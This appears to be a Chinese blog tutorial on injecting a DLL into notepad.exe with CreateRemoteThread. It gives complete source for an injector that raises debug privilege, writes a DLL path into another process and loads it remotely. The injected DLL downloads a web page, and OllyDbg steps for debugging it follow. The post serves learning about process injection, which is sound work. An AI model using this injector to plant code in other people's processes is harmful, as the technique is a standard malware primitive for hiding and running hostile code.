DLL注入:用CreateRemoteThread实现DLL注入

时间:2024-05-22 19:34:07

实验环境:WINXP VS2010
功能:注入到notepad.exe程序,并从网上下一个文件
实验程序:
(一)myhack.dll,即要注入的dll程序

#include "windows.h"
#include "tchar.h"

#pragma comment(lib,"urlmon.lib")

#define DEF_URL (L"http://www.naver.com/index.html")
#define DEF_FILE_NAME (L"index.html")

HMODULE g_hMod = NULL;

DWORD WINAPI ThreadProc(LPVOID lParam)
{
	TCHAR szPath[_MAX_PATH] = {0,};

	if(!GetModuleFileName(g_hMod,szPath,MAX_PATH))
		return FALSE;

	TCHAR *p = _tcsrchr(szPath,'\\');
	if(!p)
		return FALSE;

	_tcscpy_s(p+1,_MAX_PATH,DEF_FILE_NAME);
	
	HRESULT hr = URLDownloadToFile(NULL,DEF_URL,szPath,0,NULL);
	if (hr != S_OK)
		return FALSE;
	else
		OutputDebugString(L"down finish!!!!");

	return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
	HANDLE hThread = NULL;
	g_hMod = (HMODULE)hinstDLL;

	switch(fdwReason)
	{
	case DLL_PROCESS_ATTACH:

		OutputDebugString(L"myhack.dll Injection!!!!");

		hThread = CreateThread(NULL,0,ThreadProc,NULL,0,NULL);

		if (hThread)
			OutputDebugString(L"down finish!!!!");

		CloseHandle(hThread);
		break;
	}
	return TRUE;
}

程序流程:
(1)当DLL被加载(DLL_PROCESS_ATTACH)时,先输出一个调试字符串,
(2)利用CreateThread() 创建一个线程,创建后立即被**,直接调用ThreadProc函数
(3)该函数调用URLDownloadToFile() 下载指定网站的index.html文件

(二)InjectDll.exe,即将myhack.dll注入notepad.exe的程序

// InjectDll.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "windows.h"
#include "tchar.h"

BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
	HANDLE hProcess = NULL;
	HANDLE hThread = NULL;
	HMODULE hMod = NULL;
	LPVOID pRemoteBuf = NULL; //存储dll路径字符串的起始地址
	DWORD dwBufSize = (DWORD)(_tcslen(szDllPath)+1)*sizeof(TCHAR); // dll路径字符串的大小
	LPTHREAD_START_ROUTINE pThreadProc; // 存储LoadLibrary函数的地址


	// 使用dwPID获取目标进程句柄
	if(!(hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPID)))
	{
		_tprintf(L"OpenProcess(%d) failed!!![%d]\n",dwPID,GetLastError());
		return FALSE;
	}

	// 在目标进程notepad.exe内存中分配szDLLName大小的内存
	pRemoteBuf = VirtualAllocEx(hProcess,NULL,dwBufSize,MEM_COMMIT,PAGE_READWRITE);

	// 将myhack.dll路径写入分配的内存
	WriteProcessMemory(hProcess,pRemoteBuf,(LPVOID)szDllPath,dwBufSize,NULL);

	// 获取LoadLibraryW() API的地址
	hMod = GetModuleHandle(L"kernel32.dll");
	pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod,"LoadLibraryW");

	// 在notepad.exe中运行线程
	hThread = CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteBuf,0,NULL);

	WaitForSingleObject(hThread,INFINITE);
	CloseHandle(hThread);
	CloseHandle(hProcess);

	return TRUE;

}
// 提权函数
BOOL EnableDebugPriv() 
{ 
	HANDLE hToken;
	LUID sedebugnameValue; 
	TOKEN_PRIVILEGES tkp; 
 
	if ( ! OpenProcessToken( GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) 
	{
		printf("提权失败。");
		return FALSE; 
	}
 
	if ( ! LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) ) 
	{ 
		CloseHandle( hToken ); 
		printf("提权失败。");
		return FALSE; 
	} 
	tkp.PrivilegeCount = 1; 
	tkp.Privileges[0].Luid = sedebugnameValue; 
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //
	if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) ) 
	{
		printf("提权失败。");
		CloseHandle( hToken );
	}
	else 
	{
		printf("提权成功!");
		return TRUE;
	}

}

int _tmain(int argc, _TCHAR* argv[])
{

	if (argc !=3)
	{
		_tprintf(L"USAGE: %s pid dll_path\n",argv[0]);
		return 1;
	}
	//inject dll

	EnableDebugPriv();

	if (InjectDll((DWORD)_tstol(argv[1]),argv[2]))
	
		_tprintf(L"InjectDll(\"%s\") success!!!\n",argv[2]);
	else
		_tprintf(L"InjectDll(\"%s\") failed!!!\n",argv[2]);
	
	

	/*DWORD dwPID = 0;
	LPCTSTR szDllPath = NULL;
	dwPID = 1776;
	szDllPath = L"C:\\work\\myhack.dll";
	InjectDll(dwPID,szDllPath);*/

	return 0;
}

程序流程:
(1)首先进行提权,如果不提权,OpenProcess()会报GetlastError[5]的错误,同时拿不到句柄。这是因为在xp环境下,虽然账号是管理员,但是权限默认没有启动。
(2)利用OpenProcess() 获得目标进程的句柄。这里指notepad.exe
(3)用VirtualAllocEx() 在目标进程空间分配一定的内存空间。用来写入DLL的路径
(4)用WriteProcessMemory() 将DLL路径字符串写入刚分配的内存。
(5)利用GetModuleHandle() 和GetProcessAddress() 得到LoadLibrary() 的地址。用来加载DLL
(6)利用CreateRemoteThread() 使LoadLibrary()加载DLL,实现DLL的注入。

给进程提权有三种方法

调试:

打开记事本,OD attach ,运行;
将OD的选项->调试设置->事件->中断在新模块DLL处选中,则程序当加载新的DLL时就会停住;
运行命令行,输入参数,运行InjectDll.exe程序;
DLL注入:用CreateRemoteThread实现DLL注入
则OD会弹出Executable modules窗口,发现myhack.dll被加载
DLL注入:用CreateRemoteThread实现DLL注入
双击来到myhack.dll 入口点附近,下断点,接下来,将OD的中断在新的DLL入口处关闭,运行,就可以调试DLL程序了
DLL注入:用CreateRemoteThread实现DLL注入

具体分析一下dll流程:
(1)首先通过GetModuleFileName得到myhack.dll的完整路径
(2)通过_tcschr() 得到’\myhack.dll’。_tcschr(szPath,’\’)表示查找szPath字符串’‘字符最后一次出现的位置,并返回\后面的字符,包括’’
DLL注入:用CreateRemoteThread实现DLL注入
DLL注入:用CreateRemoteThread实现DLL注入
接下来调用_tcscpy_s(p+1,_MAX_PATH,DEF_FILE_NAME)此时,p+1指向’myhack.dll’字符串;
DLL注入:用CreateRemoteThread实现DLL注入
执行完后,说明这个函数实现了拷贝,但是……为啥要拷贝?
DLL注入:用CreateRemoteThread实现DLL注入
最后调用URLDownloadToFile() 函数实现下载。观察参数明白了,原来拷贝函数是为了得到下载存储的路径的呀!
DLL注入:用CreateRemoteThread实现DLL注入

运行程序:发现注入成功了!但是遗憾的是work文件夹中并没有下载的index.html文件。。。原因未知。。。
DLL注入:用CreateRemoteThread实现DLL注入
用Process Explorer也能看到myhack.dll确实被注入到notepad.exe中了
DLL注入:用CreateRemoteThread实现DLL注入